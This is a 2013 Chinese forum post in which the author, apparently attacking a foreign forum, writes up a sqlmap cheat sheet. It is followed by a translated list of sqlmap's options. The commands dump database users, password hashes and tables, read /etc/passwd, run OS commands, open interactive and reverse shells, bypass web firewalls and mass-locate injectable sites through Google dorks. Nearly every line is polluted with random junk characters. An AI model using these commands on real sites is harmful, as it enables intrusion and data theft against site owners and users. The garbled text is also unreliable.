找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2768|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、: `2 K- d0 f2 z( I& z. {2 I# P/ d& D
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称" ?0 G: Q. ~3 F7 f
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
- I9 t* O9 t, _  O" U- C$ V: Psqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
, Z  Z4 ~8 _2 f6 z
& U* J2 p- |% M. Q$ f1 u  G. Jsqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v, M& j: @  u9 J
0 #获取字段内容7 k* [6 U2 m3 M
7 h% {9 g3 p6 \2 {# b
******************信息获取******************1 Z8 g) Y% Z# z) P9 D
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型) h" c  E2 l/ }$ M  i
sqlmap -u “http://url/news?id=1″ –users #列数据库用户/ P. z$ z/ q$ y
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
4 f) w+ U3 `: O) A) }  l) isqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码) W# F, X8 @7 r$ m
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
; U# j" X2 J. H* k: O. `7 x/ y+ u% wsqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
) E$ ]8 F9 Y$ K9 s# G2 m1 V–start 1 –stop 20 #列出指定字段,列出20 条* |/ H* _1 t- j: e/ P& Z
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
, a. N# a  A6 `( Asqlmap -u “http://url/news?id=1″ –privileges #查看权限, f" q/ F' c6 Q  w, L
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色8 g) Y' D- e9 Z" z$ y
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
* O- j7 Q6 z; J8 Y3 v2 F# Msqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
$ K. _% Y7 r8 X( z  lsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
- l1 ^( P/ ~; C- R/ Hsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入/ A9 S4 m4 S# A& }) m: d7 O: J4 `
sqlmap -u “http://url/news?id=1″-b #获取banner信息
" [% O1 V* ?7 \3 I0 f+ ]1 R0 jsqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
8 T  {6 l8 S4 D) V* a- w) rsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型& u! q2 R6 b6 ]- r2 }7 q  N  T2 K* w0 L
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
/ {7 v5 E* V. X6 w9 f& Rsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词( n2 p5 O- f. p2 \( T- \5 H. w
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
1 q9 i; \  ]5 P( M+ ?0 Psqlmap -u “http://url/news?id=1″ –file /etc/passwd
# Z, r4 g4 g3 j+ T7 @sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令% t  N3 b* j/ e# z, b+ R
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell3 ]4 Y( K3 T& q
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
1 F; F0 `% [: E# gsqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度% @+ }2 L+ y) S! G( f. d. {
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度2 j/ C( L& |3 B- P' j
***********高级用法*************
' x5 Q2 P) s! `: q) H" q# s' l( e! @-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
5 O, f% [; U9 q$ U: Xsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
/ K% ^2 p# W1 Y8 O–technique   测试指定注入类型\使用的技术
7 Q/ U- u( e1 d8 r  n* ~不加参数默认测试所有注入技术
. p8 g. Y# V' o9 `. j2 W•     B: 基于布尔的SQL 盲注
3 J" D; ]0 S2 e: }4 Z8 `& U•     E: 基于显错sql 注入
& A8 y! b  O& C2 F% G" \' N•     U: 基于UNION 注入
9 N5 x  W+ J6 e( ]8 s•     S: 叠层sql 注入  j  \# S# x, t' E/ ?2 Y
•     T: 基于时间盲注
0 n$ w- m- N; P–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()( ^) F9 X& f" y1 y  i
–tamper 插件所在目录
# C6 W4 X/ M3 _1 v" Q/ m* L" C\sqlmap-dev\tamper
$ \# m4 u( U. k4 A0 w4 y$ ^0 C5 jsqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
2 ?  B" Q3 ^  T3 R0 g) [! Elevel 执行测试等级 攻击实例:0 e  g6 b2 S) v, y& K5 k2 N
Sqlmap -u “http://url/news?id=1&Submit=Submit”/ ~1 e) z4 C; g- v
–cookie=”PHPSESSID=41aa833e6d0d3 ~3 t& P* q7 L8 D
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
$ D# I. t0 H2 |0 e! L, c7 k–password
5 {  d- n3 m, z/ F9 \参考文档:http://sqlmap.sourceforge.net/doc/README.html* @* v- k: S/ N/ Y
***********安装最新版本*************, Z( Z8 w4 d" s9 ?. z4 X: S
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
( |0 _* I! j4 x+ G" |  q0 gsudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
1 j7 y; w$ {$ [% A% F) a, `. I安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件' O8 e. r# y) K/ ?7 E+ C
sudo vim /home/当前用户/.bashrc( J4 Y0 k# U2 t) B1 ~# K6 ~
#任意位置加上:- t4 J; P8 x$ Z
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效2 \8 ?  a# V& n# }
如果想对所有用户有效 可设置全局 编辑下面的文件4 v. s/ |( U& A& B
vim /etc/profile
- ~/ @$ `2 w3 I7 b4 P! p3 j1 K同样加上:
6 a, U' j% }0 K  _1 g+ @5 jalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效* D" L6 a1 }/ S' R
******************windows 7 (x64) sqlmap install (SVN)************
8 c5 w: M* z) f' v& d) b8 [$ W9 \; Xhttp://www.python.org/getit/ 安装python
+ s0 _4 I" |( d: Q& O4 z5 ~6 t4 Fhttp://www.sliksvn.com/en/download 安装windows svn client% c/ W2 _' G, G  q5 q
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev! |) M& l) R( M. D6 o* ]5 T
安装sqlmap" `2 J/ w7 S- H1 x# E+ I
*修改环境变量
$ e2 \$ c4 C! ?- b) X# ~: C9 K–version             显示程序的版本号并退出
) r7 r& u; T7 R3 @4 O8 n, K0 E-h, –help            显示此帮助消息并退出  I4 g# p( m4 q! s+ a
-v VERBOSE            详细级别:0-6(默认为1)" b* f! @  h% M& M" F3 |2 O
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。0 \' p) ^+ x1 z
-d DIRECT           直接连接到数据库。9 ^  E% x* p/ Q5 L
-u URL, –url=URL   目标URL。
, F- s1 P) @/ `2 E/ G0 H) K-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
7 a# I9 x# ?! T1 I4 o3 z-r REQUESTFILE      从一个文件中载入HTTP 请求。4 t9 _4 `( O  E$ l3 b9 i+ D0 O- n
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
( U1 S) L- ?* g. Q-c CONFIGFILE       从INI 配置文件中加载选项。
- M" N" p4 {6 _( @# l( S2 H" ZRequest(请求)::% k9 [$ A7 d1 j0 p" l
这些选项可以用来指定如何连接到目标URL。
$ _7 ~0 n' s# q6 u$ M–data=DATA         通过POST 发送的数据字符串, A6 R- \9 F2 S  o/ ^
–cookie=COOKIE     HTTP Cookie 头
; W" \$ M5 {7 P7 ~1 B–cookie-urlencode  URL 编码生成的cookie 注入
" ]* O9 n+ E  e' i–drop-set-cookie   忽略响应的Set –Cookie 头信息$ z# z5 s# D% q. [0 y

- W/ s( e2 T* Q. @& m–user-agent=AGENT  指定  HTTP User –Agent 头; f) Q+ h+ x6 P8 S. v/ j
–random-agent      使用随机选定的HTTP User –Agent 头
& j. K1 q5 x2 I. I( Q3 h. ]–referer=REFERER   指定  HTTP Referer 头8 l! B2 E& q0 O# y+ @2 B
–headers=HEADERS   换行分开,加入其他的HTTP 头0 K3 r! a8 J; K0 n. C
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)( ?: G# j/ G5 U2 w! |9 K
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
" D8 K6 W. M3 B: z! s–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)% [$ E' T0 z8 ^; \0 E+ M
–proxy=PROXY       使用HTTP 代理连接到目标URL6 o8 }3 Q2 R( n3 Y' N
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
# \, f- k# K% Z1 C4 o–ignore-proxy      忽略系统默认的HTTP 代理, z6 Y' }0 o8 o; t5 K
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
: b5 k% z& d# q( Z! b% v–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
8 r" I. a- I$ Z* `–retries=RETRIES   连接超时后重新连接的时间(默认3)
2 H4 P& J2 u' X5 ^/ N–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
5 Z1 u, ?- v4 a7 T& @8 v4 A–safe-url=SAFURL   在测试过程中经常访问的url 地址
% H7 P6 @: Z1 C# o3 g–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
0 a" f9 G% P- i% BOptimization(优化): 这些选项可用于优化SqlMap 的性能。. e) o4 h# [" f1 ^' x7 _' T# G
-o                  开启所有优化开关
: M0 v& k' l: e) W2 K–predict-output    预测常见的查询输出
/ ]2 q. u  [' c$ b# B, n5 H–keep-alive        使用持久的HTTP(S)连接
/ P2 x* I2 x. b–null-connection   从没有实际的HTTP 响应体中检索页面长度$ T- ^2 l8 d: y" ~* L* i& b' B) o" b
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
+ J8 F; L) V" f( z& mInjection(注入):
9 ^) W+ o+ d) E- L: S, x9 n" @这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
% ~9 L/ ]$ Q" P; {5 z-p TESTPARAMETER    可测试的参数(S)
6 t; Z& M, W- S- I/ `/ h* ?–dbms=DBMS         强制后端的DBMS 为此值- E7 A( ~$ I( N; t
–os=OS             强制后端的DBMS 操作系统为这个值
2 m0 v2 A5 k7 S) v: N# A5 m7 i–prefix=PREFIX     注入payload 字符串前缀# F+ q8 J6 ~- o- z) b
–suffix=SUFFIX     注入 payload 字符串后缀- r# N- n9 Q+ w
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
& S1 n: d6 \8 o, S% n' L" C3 T2 b/ EDetection(检测):
: [# `: F0 H+ b- T, g( T- Q这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
% p  J* y/ x/ b: f( [4 v; _–level=LEVEL       执行测试的等级(1-5,默认为1), e6 _! ]5 C6 ^
–risk=RISK         执行测试的风险(0-3,默认为1)& e1 o# d! T) j! ^  s
–string=STRING     查询时有效时在页面匹配字符串9 [  M% I: C: N: G
–regexp=REGEXP     查询时有效时在页面匹配正则表达式
% P$ R% X! p0 ?0 ?–text-only         仅基于在文本内容比较网页* _8 f  R( i; K2 \/ m
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。! [: A8 s4 V# g" v" {
–technique=TECH    SQL 注入技术测试(默认BEUST)  x: ?5 U' M: w# w( U" y( D- o
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
' F9 B1 f- T$ J2 Y- i! k–union-cols=UCOLS  定列范围用于测试UNION 查询注入
" }% ^6 W1 i% G" g' h–union-char=UCHAR  用于暴力猜解列数的字符
% \& n3 ?0 i* c: D( R) r7 IFingerprint(指纹):- c! n5 e( d8 ]4 ^
-f, –fingerprint     执行检查广泛的DBMS 版本指纹
0 p0 a/ `; M: ]+ M0 o# H0 X, tEnumeration(枚举):
4 C1 M! m. f" Q+ N" G2 r, l2 M : \# x( N4 \4 m  V; m/ e4 U  x
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
& r: ]3 f5 m6 W" G) ^( U7 _+ h4 r  d-b, –banner        检索数据库管理系统的标识
* a' ]1 b. b5 Y; |1 a; i5 z! Z–current-user      检索数据库管理系统当前用户& p" P8 C* Y- y5 E
–current-db        检索数据库管理系统当前数据库
  ~1 q/ J# q. d# L–is-dba            检测DBMS 当前用户是否DBA
) Y9 E8 U. p( k$ a9 N& z–users             枚举数据库管理系统用户
( e. R- ~1 t1 M, P( X( A$ o$ y–passwords         枚举数据库管理系统用户密码哈希: x/ `- w* F( g
–privileges        枚举数据库管理系统用户的权限+ U6 m6 @' q" w3 w
–roles             枚举数据库管理系统用户的角色
7 z( s# i: x9 x; x, O3 B1 V- R–dbs               枚举数据库管理系统数据库
) R0 T/ C3 M/ ~% r8 }–tables            枚举的DBMS 数据库中的表' _5 C! c6 _1 t# R, x
–columns           枚举DBMS 数据库表列
7 V' J0 U. v6 z* {' z9 y–dump              转储数据库管理系统的数据库中的表项
% @1 X! e, {" E! {: y–dump-all          转储所有的DBMS 数据库表中的条目( I0 x9 `+ S, }8 r
–search            搜索列(S),表(S)和/或数据库名称(S)
% Z+ G* q0 M0 k2 `' R6 g- f$ ~2 Z-D DB               要进行枚举的数据库名4 n! T2 I' M3 U& k
-T TBL              要进行枚举的数据库表
; W1 M" {$ P, v" r: ?-C COL              要进行枚举的数据库列% ]' T, i) ?* }/ B0 W
-U USER             用来进行枚举的数据库用户- ]; n% k. U% D% ^) H% n8 U
–exclude-sysdbs    枚举表时排除系统数据库
: U' I' @; X" [) F3 P–start=LIMITSTART  第一个查询输出进入检索/ ^, z  w4 ~+ g: W
–stop=LIMITSTOP    最后查询的输出进入检索
1 T3 _# N7 v/ {! s$ D–first=FIRSTCHAR   第一个查询输出字的字符检索) z- |$ r( z" u
–last=LASTCHAR     最后查询的输出字字符检索
3 i9 E1 Q2 P+ w; s, C( x0 `–sql-query=QUERY   要执行的SQL 语句
3 Z0 }/ R+ C1 T0 B. N–sql-shell         提示交互式SQL 的shell
) D5 A- f; D" m& \/ M* IBrute force(蛮力): 这些选项可以被用来运行蛮力检查。- @, u4 t; p7 p+ x6 @& l7 A
–common-tables     检查存在共同表
: O; L, b% L% ?–common-columns    检查存在共同列; y, f, q8 V* I9 d
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
' ]$ j' ~9 K# |! z–udf-inject        注入用户自定义函数
' P. L) {( P7 E6 @- }* v–shared-lib=SHLIB  共享库的本地路径
/ M3 Y: }- r  F, U3 y' zFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
& Z6 ]( U0 m. K+ Y1 V–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
5 X+ P8 g8 P$ y. g  d% C–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
& }' Q3 ?8 u1 u8 S2 l1 |8 a–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
! O* C2 @& O( M$ bOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。( \1 F+ o1 N# Y& f) l8 g9 c: j% Z- d
–os-cmd=OSCMD      执行操作系统命令
  I" W) A( D, @& ~3 ?–os-shell          交互式的操作系统的shell
! x" _+ o1 l9 a–os-pwn            获取一个OOB shell,meterpreter 或VNC
$ b7 g: V( `: i4 b, Q$ s–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC. Z0 |+ q6 p0 s- C/ ]3 i
–os-bof            存储过程缓冲区溢出利用# C# s% p6 M6 R2 j6 {/ ^2 O4 y
–priv-esc          数据库进程用户权限提升
4 r% B0 J/ k* ~# U$ j/ g9 F( u. w–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
% v$ V' E* D; m! F- D9 D* g4 |–tmp-path=TMPPATH  远程临时文件目录的绝对路径
5 o6 N- s) C. S. Q6 v9 e+ J. N5 w. U 8 y: b* O5 P( J+ c; A0 D% e5 r
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。0 [) n; ~6 i2 N! j
–reg-read          读一个Windows 注册表项值
# J4 S  ]1 `8 h–reg-add           写一个Windows 注册表项值数据& h5 r6 U3 w* o( P5 |
–reg-del           删除Windows 注册表键值# t' q, ?9 S1 M0 B1 k* G% Z: c3 C- V
–reg-key=REGKEY    Windows 注册表键
" Y# r3 M. E) [0 M5 y) J–reg-value=REGVAL  Windows 注册表项值! F8 l  N. B- \
–reg-data=REGDATA  Windows 注册表键值数据
  S! R; W3 q' \  K! e–reg-type=REGTYPE  Windows 注册表项值类型
( x3 ?: k  e) p4 h- i* WGeneral(一般): 这些选项可以用来设置一些一般的工作参数。- x7 S# e4 N& I3 J
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
+ E% x( S+ ?% c- P1 F  D' K/ Y-s SESSIONFILE      保存和恢复检索会话文件的所有数据
8 J5 `) K) T  s5 u2 x& n) ^–flush-session     刷新当前目标的会话文件5 [" `" |) d# M' t
–fresh-queries     忽略在会话文件中存储的查询结果
* r, m+ ^' ?- `–eta               显示每个输出的预计到达时间
# U1 x  U1 G# B1 O2 r' o–update            更新SqlMap& h6 z9 {: L, d; L
–save              file 保存选项到INI 配置文件$ ?7 I* p; e; R* M6 k: g; s% ]
–batch             从不询问用户输入,使用所有默认配置。; s! z% \, [( I% @: {1 C# Z
Miscellaneous(杂项):
- l; K2 \9 W& V: C/ E9 R–beep              发现SQL 注入时提醒+ P* W% o$ P7 D; Y* |/ ?/ F& C3 l
–check-payload     IDS 对注入payloads 的检测测试+ I" O4 w: X8 Q+ t+ J5 D: w
–cleanup           SqlMap 具体的UDF 和表清理DBMS* T% J: ~" S4 o
–forms             对目标URL 的解析和测试形式- g* n0 {) K. ^) s+ z+ M
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
4 G* [1 g" h- B0 D–page-rank         Google dork 结果显示网页排名(PR)
  C9 \; }% i* x: n) d1 Y. [* S–parse-errors      从响应页面解析数据库管理系统的错误消息
0 O- w& T( o. |# ^; t–replicate         复制转储的数据到一个sqlite3 数据库
4 ]1 P3 E  e) T6 g–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址5 o) e3 U3 W% h9 x& y+ t6 R
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表